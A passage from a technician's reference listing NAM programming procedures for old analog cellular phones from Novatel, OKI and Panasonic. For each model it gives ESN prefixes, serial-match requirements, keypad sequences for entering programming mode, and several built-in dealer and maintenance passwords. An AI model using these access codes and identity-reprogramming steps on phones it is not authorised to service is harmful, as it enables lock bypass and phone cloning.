New Unlock Code: SEL + 5 + 5 digit security code (NAM)
(Current Unlock Code will display) + new
4 digit Unlock Code + SEL
System Select: SEL + 1 + 1 + 1 + etc.. (to scroll choices)
Home, A, B, Both AB or BA
-------------------------------------------------------------------------------
NOVATEL VTR-8300/9300
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOVATEL
Programmer: Handset
ESN Prefix DEC: 142
HEX: 8E
ESN, S/N Match Required: No
Handset Programmable: Yes
Number of Channels: 666 or 832
Programming Sequence: Power On
Lock Phone: FCN + 1
Enter Programming Mode: # + 259
ESN will display
Press Vol UP Button to increment or
Vol DN to decrement
Enter data for each step then press SND after each
step
Press END to write NAM information
# of Digits
Mobile Number: 10 XXX-XXX-XXXX
System ID: 5 XXXXX
Initial Paging Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Initial Paging Channel: 3 333 (A)
Initial Paging Channel: 3 334 (B)
Data Scanning Table: 1 1
Lock Code(1): 4 XXXX
(see owner's manual)
Lock Code(2): 4 XXXX
(see owner's manual)
Invalid ID (System ID
should not roam on): 5 XXXXX
Local Use -SND to toggle: SET
EX (MIN Opt) -
SND to toggle: SET
Preferred System -
SND to toggle: SET (A) or CLR (B)
NonPreferred System Roam: CLR
End-to-End Signalling: SET
Fast Dial &
Manual Fast Dial: Press SND to toggle
Set DTMF length: Press SND to toggle
-------------------------------------------------------------------------------
NOVATEL 8305 (EXCLUDING CA08 SOFTWARE)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOVATEL
Programmer: Handset
ESN Prefix DEC: 142
HEX: 8E
ESN, S/N Match Required: No
Number of Channels: 832
Programming Sequence: Power
Lock Phone: FCN + 1
Enter Programming Mode: # + 259
Press Vol Up to view Software version and ESN in Hex
Press Vol Up to increment and Vol Dn to decrement
Enter data for each step then press SND after each
step
Press END to write NAM information
# of digits
Mobile Number: 10 XXX-XXX-XXXX
Initialize Memory
Locations: SND (then wait)
System ID: 5 XXXXX
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Initial Page Channel: Preset Vol Up (A)
Initial Page Channel: Preset Vol UP (B)
Data Scanning table: Preset
Full Lock Code: Preset/Handset
Restricted Lock Code: Preset/Handset
Invalid ID 1: 5 XXXXX
Invalid ID 2: 5 XXXXX
Invalid ID 3: 5 XXXXX
Invalid ID 4: 5 XXXXX
(*) If phone has CA06 software or lower, phone can be programmed 3 times
only.
To program phone a 4th time, there are 2 options:
#1 - Upgrade software to CA07 or newer
#2 - Reset MIN counter, with service compact control unit
(available from NOVATEL)
Local Use - SND to toggle: SET
EX (Min Opt) - SND to toggle: SET
Preferred System-SND to toggle: SET (A) or CLR (B)
Roam Inhibit - SND to toggle: CLR
Quick Recall - SND to toggle: SET
Quick Store - SND to toggle: SET
Wake Up Tone - SND to toggle: SET
End-to-End Sig - SND to toggle: SET
Fast Dial - SND to toggle: SET
Manual Fast Dial-SND to toggle: SET
32 digit dialing-SND to toggle: SET
Call Timer 30 seconds hold on mobile line originated
calls when SET - SND to toggle: CLR
Call Timer 30 second hold on land line orginated calls
when SET - SND to toggle: CLR
Call Timer round up next minute when SET
- SND to toggle: SET
No Land-to-Mobile Option: CLR (for europe only)
Horn Alert - SND to toggle: SET
On-Line Diagnostics -
SND to toggle: SET
-------------------------------------------------------------------------------
NOVATEL 8305 (CA08 SOFTWARE)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOVATEL
Programmer: Handset
ESN Prefix DEC: 142
HEX: 8E
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Power On
Lock Phone: FCN + 1
Enter Programmig Mode: # + 259
Press Vol Up to view Software version and ESN in Hex
Press Vol Up to increment and Vol Dn to decrement
Enter data for each step then press SND after each
step
Press END to write NAM information
Initialize Memory
Locations: SND (then wait)
System ID: 5 XXXXX
Mobile Number: 10 XXX-XXX-XXXX
Full Lock Code: Preset/Handset
Restricted Lock Code: Preset/Handset
EX (MIN Opt) - SND to
toggle: SET
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Initial Page Channel: Preset Vol Up(A)
Initial Page Channel: Preset Vol Up(B)
Data Scanning Table: Preset 1
Invalid ID 1: 5 XXXXX
Invalid ID 2: 5 XXXXX
Invalid ID 3: 5 XXXXX
Invalid ID 4: 5 XXXXX
Local Use - SND to toggle: SET
Preferred system - SND to toggle: SET (A) or CLR (B)
Roam Inhibit - SND to toggle: CLR
Manufacturer Option: CLR
Quick Recall-SND to toggle: SET
Quick Store -SND to toggle: SET
Wake Up Tone-SND to toggle: SET
End-to-End Sig-SND to toggle: SET
Fast Dial - SND to toggle: SET
Manual Fast Dial - SND to toggle: SET
32 Digit Dialing - SND to toggle: SET
Call Timer 30 second hold on mobile originated calls
when SET - SND to toggle: SET
Call Timer round up to next minute when SET - SND
to toggle: SET
No Land-to-Mobile Option: CLR
Horn Alert - SND to toggle: SET
On-Line diagnostics - SND to toggle: SET
-------------------------------------------------------------------------------
NOVATEL 8320 (Includes Hp-3000 Series)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOVATEL
Programmer: Handset
ESN Prefix DEC: 142
HEX: 8E
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Phone On
Lock Phone: FCN + 1 + SND
Enter Program Mode: # + 259
Software Version will display
Press Vol Up to view ESN
Press Vol Up to and select NAM (0-4)
0=Parameters common to all NAMs
1=NAM 1, 2=NAM 2, 3=NAM 3, 4=NAM 4
(Recommend - Press NAM 0 First)
If a number is entered for a parameter, press SND
to enter information
If a parameter is toggled, press SND to toggle
Once the parameter is entered, press Vol Up to
view the next step
To perform programming, press END (END will also
allow access to tamperproof protection and NAM
select)
NAM 0
(If "View NAM Only" appears, the tamperproff portection has been enabled and
the phone's 6 digit security code must be entered continue)
# of Digits
Initialize memory Locations: Press SND-Wait + Vol UP
Full Lock Code: Preset/Handset + Vol UP
Restricted Lock Code: Preset/Handset + Vol UP
9 Number Quick Recall: Set (SND to toggle) + Vol UP
9 Number Quick Store: Set (SND to toggle) + Vol UP
Initialization Tone: Set (SND to toggle) + Vol UP
Call Timer 30 seconds hold on mobile orignated calls when
SET - Press SND to toggle: CLR + Vol UP
Call Timer 30 seconds hold on land line originated calls when SET
- Press SND to toggle: CLR + Vol UP
Call timer round up to next minute when SET -
Press SND to toggle: SET + Vol UP
End-to-End Signalling- Press SND to toggle: SET + Vol UP
No Land to Mobile Option-disables call timer
for incoming calls: CLR + Vol UP
Horn Alert - Press SND to toggle: SET + Vol UP
On-Line Diagnostics-Press SND to toggle: SET + Vol UP
Press END to return to NAM select, Additional Program Parameters or
Tamperproof Proteciton
-------------------------------------------------------------------------------
NOVATEL AURORA 100 & 200 SERIES
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Novatel
Programmer: Curtis or Bytek
ESN Prefix DEC: 142
HEX: 8E
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
System ID Format: XXXX
Horn Alert Option: 1
Handsfree Option: 0 (1 if equipped)
End-to-End Signalling: 1
Repertory Option: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 0000 (Binary) or 00 (Dec)
Local Use Option: 1
MIN Option: 1
Initial Paging Channel: 333 or 334
Preferred System: 0 (B) or 1 (A)
(*) This NAM must be programmed with the Curtis or Bytek Program because
NOVATEL uses a differen method of determining the NAM checksum than the
Motorola 1801
Horn Alert: FCN/PWR + HRN/SND
New Unlock Code: NAM
System Select: N/A
Display ENS (in Hex)
Aurora and 100 Series: FCN + LCK + 259 (with 1 second)
"Debug" will be displayed + CLR + #
200 Series: FCN + LCK + # + 185
(Scroll with Volume control)
-------------------------------------------------------------------------------
OKI CS1
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: OKI
Programmer: Motorola 1801 or Curtis
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes, (after date code 427A XXXX)
(427=Week 27 of 1984)
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled (Enabled if equipped)
Local Ude Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Hex Address B7 B0
13 0 0 0 0 X X X 1
Hex Address 13 - B0 Call Timer
B1 Total Lock
B2 Home System Only
B3 Manual System Select
Horn Select: HORN
New Unlock Code: NAM
System Select: N/A
-------------------------------------------------------------------------------
OKI 21 & 23
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Step #1 First Time Program Only
Program Dealer Password
Power On
Press * and # simultaneously-then release
Enter the first time password: *12345678#
Display will show "enter PW-STO"
Enter New 10 digit password + STO
(recommend 1234567890)
Display will show "re-enter PW-STO"
Re-Enter 10 digit password (1234567890) + STO
This step restricts programming by those not
aware of current password
Step #2 Programming New or Used Phone
Power On
Press STO and RCL (Simulatneously) Release
Enter password within 30 seconds of Power On
(see first time Program info)
Software Version and ESN will display
Press CLR to enter program mode
Initialize Phone (0+0, "Cleared" will appear)
Enter Step number 1-9 and the parameters info
for that step
After entering each step. Press STO to enter data
NAM contents may be scrolled with the
Volume Up and DOWN keys
Press CLR to exit programming mode.
# of digits
Mobile Number: 10 XXX-XXX-XXXX + STO
System ID: 5 XXXXX + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Access Overlaod: 2 XX + STO
Lock Code: 4 XXXX + STO
Group ID: 2 XX + STO
Station Class: 4 1000 + STO
Options(1): 4 11X0 + STO
Security Code: 6 XXXXXX + STO
(1)
Options MIN Opt Local Use Handsfree Spare
1 1 0 or 1 0
OKI 21 Phone Operation
Horn Alert: N/A
New Unlock Code: FUNC + 18 + 6 digit security code (NAM)
(Current Unlock Code will Display) + New 4 digit Unlock Code + STO
System Select: FUNC + 2 + 6 digit security code (current System
setting displays) + 2 + 2 + 2 etc.. (to scroll
choices) + STO to enter selection
AB or BA
A only
B only
Home
Only SID
Press STO to enter selection
OKI 23 Phone Operation
Horn Alert: Menu (3 times) (Until "Review & Set" Displays)
+ 0 ("Unlock Code Set" displays) + 6 digit security
code (Current Unlock Code Displays) + New 4 digit
Unlock Code + STO
System Select: MENU (3 times) (Until "Review & Set" Displays) +
3 (Current System Setting will display) + RCL +
RCL + RCL (to Scroll Choices) + STO
(To enter Selection)
AB or BA
A Only
B Only
Home
Only SId
Press STO to enter selection
-------------------------------------------------------------------------------
OKI 200, 300 & 400 SERIES (*) MANUFACTURED BEFORE JANUARY 1, 1989 (*)
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: OKI
Programmer: Motorola 1801 - CELNAM, Curtis or Bytek
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Handset Programmable: No
Number of channels: 666 (OKI-400 has 832)
Phone Number: XXX-XXX-XXXX
Lock Code: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree: Disabled (Enable if Equipped)
Local Use: Enabled
End-to-End Signalling: Enabled
Horn Alert: Enabled
System ID: XXXXX
Preferred System: A or B
Access Overload: XX
Group ID: XX
Initial Paging Channel: 333 or 334
Station Class: XX
These series of phones must be initialized after programmig and prior
to being placed in service. To initialize phone follow the steps listed:
OKI CDL 201/240: FCN + 9 + 9 + Lock Code + 0 + *
All other units: FCN + 9 + 9 + * + Last 8 digits of Mechanical
Serial # + *
Pre 811 or 903 software (for 400 series). If phone has later software, see
OKI 400 Series handset programming instructions.
Horn Alert: OKI 201 Set- FCN + 91 + *
Clear- FCN + 91 + #
OKI-Portable: N/A
OKI-210, 230, 410, 420, 430, 440, 450, 490
Set- FCN + 50 + *
Clear- FCN + 50 + #
New Unlock Code: OKI 201, 210, 240, 410, 420, 440, 450 & 490: NAM
OKI 230, 300 Portable and 430:
FCN + 04 + * + Current Unlock Code (NAM) + New Unlock Code (8 digits max)
System Select: OKI 201 & 240
FCN + 01 + Unlock Code + X + *
X=0 Standard (AB or BA)
X=1 Alternate (BA or AB)
X=2 A Only
X=3 B Only
X=4 Home
OKI 210, 230, 410, 420, 430, 440, 450, 490
FCN + 01 + * + RCL + RCL + RCL
(to scroll options)
Options include: STD AB or STD BA
SCN BA or SCN AB
SCN A
SCN B
SCN HO
Press * to enter selection or CLR to exit without changing sel
-------------------------------------------------------------------------------
OKI 400 SERIES - WITH 811, 903, or 905 SOFTWARE
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 666 (811 software) or 832 (903, 904, 905 software)
Programming Sequence: Power On
Enter Sequence END + RCL + FCN + CLR + SND
Enter Code: 08693427 (Software 811 or 903)
or
Enter Code: 39061875 (Software 904 or 905)
(904/905 used in CHEVROLET Transportable)
Code must be entered within 10 seconds of power on
CLR can be used to erase a mistake in input
After inputting data for a specific location,
press # to enter, then press * to increment
Press END to write NAM information
# of Digits
Mobile Number: 10 XXX-XXX-XXXX + # + *
System ID: 5 XXXXX + # + *
Initial Paging Channel: 4 0333 or 0334 + # + *
Access Overload: 2 XX + # + *
Lock Code: 3-4 XXX or XXXX + # + *
Group ID: 2 XX + # + *
Station Class: 4 0000 (811 software) or 1000 + # + *
Option Bits: 4 11XX + # + *
Option Bits;
MIN Option Local Use Handsfree Horn Alert
1 1 0 or 1 0 or 1
Some of the models with this software were still equipped with NAM socket.
Do _NOT_ attemp to program phone with a NAM if the phone has a 811, 903,
904, or 905 software
Horn Alert: FUNC + 50 + * (Activate)
FUNC + 50 + # (Deactivate)
New Unlock Code: NAM (Most Models)
OKI 430: FUNC + 04 + * + 3-4 digit security code
System Select: FUNC + 01 + * + RCL + RCL + RCL (Continue pressing RCL
until one of the following prompts appears)
SCAN BA, SCAN AB, SCAN A, SCAN B, HOME, ENTER SID (430 ONLY)
Press * to enter selection and CLR to exit function
-------------------------------------------------------------------------------
OKI 610, 630, 691 Transportable & 692 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 832
Programming Sequence: Power Off
Power On
Press and hold two keys simultaneously once
wake up tone has stopped
Use RCL and MENU for 630 and 692
Use any two number keys for 610 and 691
Release depressed keys and enter Password-0008693427
Software Version and ESN will display
press CLR to enter Program mode
Enter Step Number (1 to 9) then enter data
Press * (610 & 691) or STORE (630 & 692) to
enter each step.
Once Data has been entered, the NAM information can
be scrolled with the Vol UP or DN key
Press CLR + CLR to write NAM information
# of Digits
Mobile Number 1: 10 XXX-XXX-XXXX
System ID 1: 5 XXXXX
Initial Paging Channel: 3 XXX
1 Press * to program 2nd Number (630 and 692 models)
* Mobile Number 2: 10 XXX-XXX-XXXX
* System ID 2: 5 XXXXX
* Initial Page Channel: 3 XXX
Access Overload: 2 XX
Lock Code: 4 XXXX
Group ID: 2 XX
Station Class(4): 4 1000
Options(3): 4 11X1
Security Code: 6 XXXXXX
(3) Options... MIN Option Local Use Handsfree Horn Alert
0=Disable 1 1 0 or 1 1
1=Enable
(4) Enter Station Class In Binary (1000 Binary = 08 Dec)
New Unlock Code: FUNC + 92 + 6 digit Security Code (NAM) +
New 4 digit Unlock Code + *
System Select: FUNC + 3 + 3 + 3 etc... (to scroll thru selection)
SCN AB
SCN BA
SCN A
SCN B
SCN HO
Press * to enter selection
-------------------------------------------------------------------------------
OKI 620 & 693 Transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 832
Programming Sequence: Power Off
Power On
After wake up tone has stopped, press and hold the
RCL and DUNC keys simultaneously
Release depressed keys and enter password: 0008693427
Software Version and ESN will display
Press CLR to enter Program Mode
Enter Step Number (1 to 9) then thru data
Press STO to enter each step
Once data has been entered, the NAM information
can be scrolled with the VOL UP or DN key press CLR
+ CLR to write NAM information
# of Digits
Mobile Number 1: 10 XXX-XXX-XXXX + STO + VOL DN
System ID 1: 5 XXXXX + STO + VOL DN
Initial Paging: 3 XXX + STO + VOL DN
PRESS * to program 2nd NAM
*Mobile Number 2: 10 XXX-XXX-XXXX + STO + VOL DN
*Systen ID 2: 5 XXXXX + STO + VOL DN
*Init Pag Chan 2: 3 XXX + STO + VOL DN
Access Overload: 2 XX + STO + VOL DN
Lock Code: 4 XXXX + STO + VOL DN
Station Class(4): 4 1000 + STO + VOL DN
Options(3): 4 11X1 + STO + VOL DN
Security Code: 6 XXXXXX + STO + VOL DN
(3) Options Step- MIN Option Local Use Handsfree Horn Alert
1 1 0 or 1 1
(4) Enter Station Class in Binary (1000 binary = 08 decimal)
New Unlock Code: FUNC + 92 + 6 digit security code (NAM) +
New 4 digit Unlock Code + STO
System Select: FUNC + 3 + 3 + 3 + etc... (to scroll thru selections)
SCN AB
SCN BA
SCN A
SCN B
SCN HOME
Press STO to enter selection
-------------------------------------------------------------------------------
OKI 700 Portable & ACC91
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Keypad
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 832
Programming Sequence: Power On (wait for beep)
Press MENU and RCL simulatenously
Enter code 0008693427
ESN will appear in HEX and Software Version
Press CLR to enter Program Mode
Continue to next step for NAM #1 or Press *
to program #2
Press STO to store data for each step
Press CLR + CLR to write NAM information
# of Digits
Mobile Number 1: 10 XXX-XXX-XXXX + STO
System ID 1: 5 XXXXX + STO
Initial Page Channel 1: 3 XXX + STO
Access Overload: 2 XX + STO
Lock Code: 4 XXXX + STO
Group ID: 2 XX + STO
Station Class(1): 4 1000 (ACC91) + STO
1010 (700 Port) + STO
Options(2): 4 XXXX + STO
Security Code: 6 XXXXX + STO
New Unlock Code: MENU + Vol Up or Down keys until "Unlock Code Set"
appears Enter 6 digit Security code + new 1-8 digit unlock code + STO
System Select: MENU + Vol Up or Down keys until "System" displays.
Repeatedly press RCL to scroll selections.
Prefer B
Prefer A
System A
System B
Home Only
Only SID
Press STO to enter selection
-------------------------------------------------------------------------------
OKI 710 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Keypad
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Program Dealer Password first
Press * and # simultaneously then enter *12345678#
Enter 10 digit dealer password
(Recommened to use 1234567890)
Press STO to enter password into memory
Unit will request you to enter password again
Enter programmed Dealer password + STO
Programming the Phone:
Power On
Press FUNC and RCL simultaneously then release
Enter Dealer Password (See Part I)
(Password must be entered with 30 seconds of Power On)
Software Version will display
"Spd Dial Mem Clear" then "To Reset Press 0" will
display
Press 0 to clear memory locations
(or CLR to pass this step)
"Default Data Set" then "To Reset Press 0" will
display
Press 0 to reset phone options (or CLR to skip)
"NAM 1" then "OWN#" will display
After each parameter is entered, press
STO to enter data then Vol Down to increment
Press CLR to exit (This also allows access to NAM 2)
Repeatedly press CLR to exit Program Mod
# of Digits
Mobile Number: 10 XXX-XXX-XXXX + STO + VOL DN
System ID: 5 XXXXX + STO + VOL DN
Initial Paging Channel: 4 0333 or 0334 + STO + VOL DN
Access Overload: 2 XX + STO + VOL DN
Unlock Code: 4 XXXX + STO + VOL DN
Group ID: 2 XX + STO + VOL DN
Station Class: 4 1010 (10d) + STO + VOL DN
Options(1): 4 11X0 + STO + VOL DN
Security Code: 6 XXXXXX + STO + VOL DN
Options(1): MIN Options Local Use Handsfree Not used
1 1 0 or 1 0
New Unlock Code: FUNC + 14 + 6 digit security code (Current
Unlock Code displays) + New 4 digit unlock Code + STO + CLR (to exit)
System Select: FUNC + 12 + 6 digit security code + Repeatedly
press 2 to scroll choices;
AB
BA
B Only
A Only
Home
Only SID
Press STO to enter selection
Press CLR (to exit)
-------------------------------------------------------------------------------
OKI 750 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Keypad
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Program Dealer Password First
Press * and # simultaneously then enter *12345678#
Enter 10 digit Dealer password
(Recommended to use 1234567890)
Press STO to enter password into memory
Unit will request you enter password again
Enter programmed Dealer password
Programming the Phone:
Power On
Press MENU and RCL simultaneously then release
Enter Dealer Password (see above)
(Password must be entered within 30 seconds of power
on)
Software Version and ESN will display "Spd Dial Mem
Clear" then "To Reset Press 0" will display
Press 0 to Clr Mem Locations (or CLR to pass this
step)
"Default Data Set" then "To Reset Press 0" will
display
"NAM 1" then "OWN#" will display
After each parameter is entered, press STO to enter
data then
VOL DOWN to increment
Press CLR to exit (this also allows access to NAMs
2-5)
Repeatedly press CLR to exit Program Mode
# of Digits
Mobile Number: 10 XXX-XXX-XXXX + STO + VOL DN
System ID: 5 XXXXX + STO + VOL DN
Initial Paging channel: 4 0333 or 0334 + STO + VOL DN
Access Overload: 2 XX + STO + VOL DN
Unlock Code: 4 XXXX + STO + VOL DN
Group ID: 2 XX + STO + VOL DN
Station Class: 4 1010 (10d)
Options(1): 4 11X0 + STO + VOL DN
Security Code: 6 XXXXXX + STO + VOL DN
(1) Options: MIN Options Local Use Handsfree Hot used
1 1 0 or 1 0
Programming Sequence (2nd NAM):
Press CLR after programming NAM 1
Enter Mobile Number #2 + STO + VOL DN
Enter System ID #2 + STO + VOL DN
Enter Init Paging Channel #2 + STO + VOL DN
Press CLR to exit and program #2 + STO + VOL DN
Press CLR again to exit program mode
-------------------------------------------------------------------------------
OKI 810 MOBILE AND 891 TRANSPORTABLE
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefex DEC: 129
HEX: 81
ESN, S/N Match Required: Yes (129 + 0 + Last seven digits of serial #)
Stamped Model Number: UM9023
Number of Channels: 832
Programming Sequence: Power Off
Power On
Press and hold RCL and FUNC keys simultaneously once
wake up tone has stopped Release depressed keys and
enter Password *12345678#
"Enter New PW & STO" will display
(Recommended number (1234567890)
Enter Password + STO
Re-Enter Password + STO
Phone automatically steps to Program mode.
Programming A Used Phone: Power Off
Power On
Press and hold RCL andFUNC keys simultaneously once
wake tone has stopped
Release depressed keys and enter Password
(Enter Password within 30 seconds)
ESN and Serial Number will display
SPD Dial displays - Press 0 to clear or CLR to
increment
Default Data Displays-Press 0 to clear or CLR to
increment
SSN Displays (N/A) Press 0 to increment "Phon" appear
Enter data for each step and press STO + Vol UP
or DOWN to increment
Once data has been entered, the NAM information
can be scrolled with the Vol UP or Down Key.
Press CLR to exit Program Mode
# of Digits
Mobile Number: 10 XXX-XXX-XXXX
System ID: 5 XXXXX
Initial Paging Channel: 4 0333 or 0334
Access Overload: 2 XX
Group ID: 2 XX
Unlock Code: 4 XXXX
Station class(4): 4 1000
Options(3): 4 1101
Security Code: 6 XXXXXX
(3)Options: MIN Options Local Use Not Used Horn alert
(0=Disabled) 1 1 0 1
(1=Enabled)
(4) Enter Station Class in binary (1000b = 08d)
New Unlock Code: FUNC + 16 + 6 digit Security Code (NAM) +
New 4 digit Unlock Code + STO
System Select: FUNC + 2 + 6 digit security Code + 2 + 2 + ...etc
(to scroll thru selections)
SCN AB
SCN BA
SCN A
SCN B
SCN Ho
SID NO. (Enter System ID #)
Press STO to enter selection
-------------------------------------------------------------------------------
OKI 830
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Handset
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes (129 + 00 + Last 6 digit of serial #)
Stamped Model Number: UM9023
Number of Channels: 832
Program Sequence: % First Time Programming %
Power Off
Power On
Press and hold RCL and MENU keys simultaneously once
wake tone has stopped
Release depressed keys and enter Password *12345678#
"Enter New Pw & STO" will display
(Recommeded number 1234567890)
Enter Password + STO
Re-enter Password + STO
Phone automatically steps to Program Mode
Programming Sequence: % Use Phone %
Power Off
Power On
Press and hold RCL and MENU keys simultaneously once
wake tone has stopped
Release depressed keys and enter Password
(Enter Password within 30 seconds)
ESN and Serial Number will display
SSN display (N/A) Press CLR to increment
SPD Dial displays - Press * to clear or CLR to increment
Default Data displays - Press * to clear or CLR to
increment
Power ON "Message" and "Enter Alpha" will display
Press CLR to exit or enter alpha message to display
during power up of phone NAM 1 program appears (Press
VOL Down to select NAM 2)
Enter Data for each step + STO + VOL Down to increment
Once data has been entered, the NAM information
can be scrolled with the VOL Up or Down Key
Press CLR to exit Program mode
Mobile Number: 10 XXX-XXX-XXXX
System ID: 5 XXXXX
Initial Paging Channel: 4 0333 or 0334
Access Overload: 2 XX
Group ID: 2 XX
Unlock Code: 4 XXXX
Station Class(4): 4 1000
Options(3): 4 1101
Security Code: 6 XXXXXX
(3) Options: MIN Options Local Use Audio Mute Horn Alert
1 1 0 1
(4) Enter Station Class in Binary (1000b = 08d)
New Unlock Code: FUNC + 16 + 6 digit security code (NAM) +
new 4 digit Unlock code + *
System Select: MENU + or ("Until Adm. Menu" displays) + RCL +
6 digit security code + (Until Current Selection Displays)
+ RCL (To view choices) + STO + CLR (To Exit)
For Only SID: STO + 5 digit System Identification + STO
+ CLR + CLR (to exit)
-------------------------------------------------------------------------------
OKI 900 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Keypad
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes (129 + last 6 digit of serial #)
Stamped Code Number: UM9022
Number of Channels: 832
Programming Sequence:
Program Dealer Password First
Press RCL and MENU keys simultaneously then
enter *12345678#
Enter 10 digit Dealer Password
(Recommended 1234567890)
Press STO to enter password into memory
Unit will request you enter password again
Enter programmed Dealer Password and press STO
Programming the Phone
Power On
Press MENU and RCL simultaneously then release
Enter Dealer Password
(Password must be entered within 30 seconds of Power
On)
Software Version and ESN (In Hex) will display
"Spd Dial Mem Clear" then "To Reset Press *"
will display
Press * to Clear Memory Locations
(or CLR to pass this step)
"Default Data Set" then "To Reset Press *"
will display
"Press * to rest phone options (or CLR to pass
this step)
"Power On" will display for 2 seconds then
"Enter Alpha" shows. Enter 8 letters maximum
then STO step to NAM programming "NAM 1" then "OWN#"
will display.
After each parameter is entered, press STO to enter
data then VOL Down to increment
Press CLR to exit (This also allows access to NAMs
2-5)
Repeatedly press CLR to exit Program Mode
# of Digits
Mobile Number: 10 XXX-XXX-XXXX + STO + VOL Down
System ID: 5 XXXXX + STO + VOL Down
Initial Paging Channel: 4 0333 or 0334 + STO + VOL Down
Access Overload: 2 XX + STO + VOL Down
Group ID: 2 XX + STO + VOL Down
Unlock Code: 4 XXXX + STO + VOL Down
Station Class: 4 1010 (10d) + STO + VOL Down
Options(1): 4 11X0 + STO + VOL Down
Security Code: 6 XXXXXX + STO + VOL Down
(1) Options: MIN Option Local Use Handsfree Not Used
(0=Disabled) 1 1 0 or 1 0
(1=Enabled)
% Programming NAMs 2-5 %
Programming Sequence: Press CLR after Programming NAM 1
Enter Mobile Number #2 + STO + VOL Down
Enter System ID #2 + STO + VOL Down
Enter Intial Paging channel #2 + STO + VOL Down
Enter Access Overload #2 + STO + VOL Down
Enter Group ID #2 + STO + VOL Down
Press CLR to exit and program NAMs #3-#5
Repeat above steps to program NAMs #3-#5
Press CLR again to exit Program Mode
New Unlock Code: MENU + VOL Down + VOL Down etc...
(until "Adm.Menu" displays) + RCL + 6 digit security
code (NAM) + VOL Down + VOL Down + VOL Down ("Unlock
Code Set" and "Current Unlock Code" will display) + Ente
new 1-8 digit Unlock Code + STO + CLR (To exit)
System Select: MENU + VOL Down + VOL Down + etc... (Until "Adm.Menu"
displays) + RCL + 6 digit security code (NAM) + VOL
Down + VOL Down (Until Current Status displays) +
RCL + RCL + RCL (To scroll choices) + STO + CLR
(to exit)
Pref A
Pref B
A Only
B Only
Home
Only SID
Press STO to enter selection
Press CLR to exit
-------------------------------------------------------------------------------
PANASONIC CM/TF 800 (EB2502/EB2503, EBC20/EBC30)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: PANASONIC
Programmer: Keypad
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Requires Conversion (See Conversion Instructions)
Stamped Mode Number: EB-2502 or EB-2503
Number of Channels: 832
Programming Sequence: Install fully charge battery
Power On
Enter Maintenance Mode: * + 0 + # + 0 + * + 0 + # + 0
Enter * + 1 + SND (to program NAM 1) or * + 2 +
SND (to program NAM 2)
NAM 1 must be programmed before NAM 2 can
be programmed. When programming NAM 2 only use
steps 01-06
The sequence * + 0 + # + 0 + * + 0 + # + 0 + 1
must be entered within 10 seconds of power up
Enter parameter information + STO and then the
Step Numnber (i.e., to program System ID, XXXXX
+ STO + 01)
To recal any information already programmed into
phone, press RCL + Step Number
Press STO + * + * to write NAM information
Press END or * + 4 to exit Maintenance Mode
Step # of Digits
01 System ID: 5 XXXXX
02 Mobile Number: 10 XXX-XXX-XXXX
03 Preferred System: 1 0(B) ot 1(A)
04 Initial Page Channel: 3 333 or 334
05 Access Overload: 2 XX
06 Group ID: 2 XX
07 Digit Dial Limit: 2 00=32 digits
08 Station Class: 2 XX
09 Speed Dial Number: 12 XXXXXXXXXXXX
10 Lock Code: 2-4 XX, XXX or XXXX
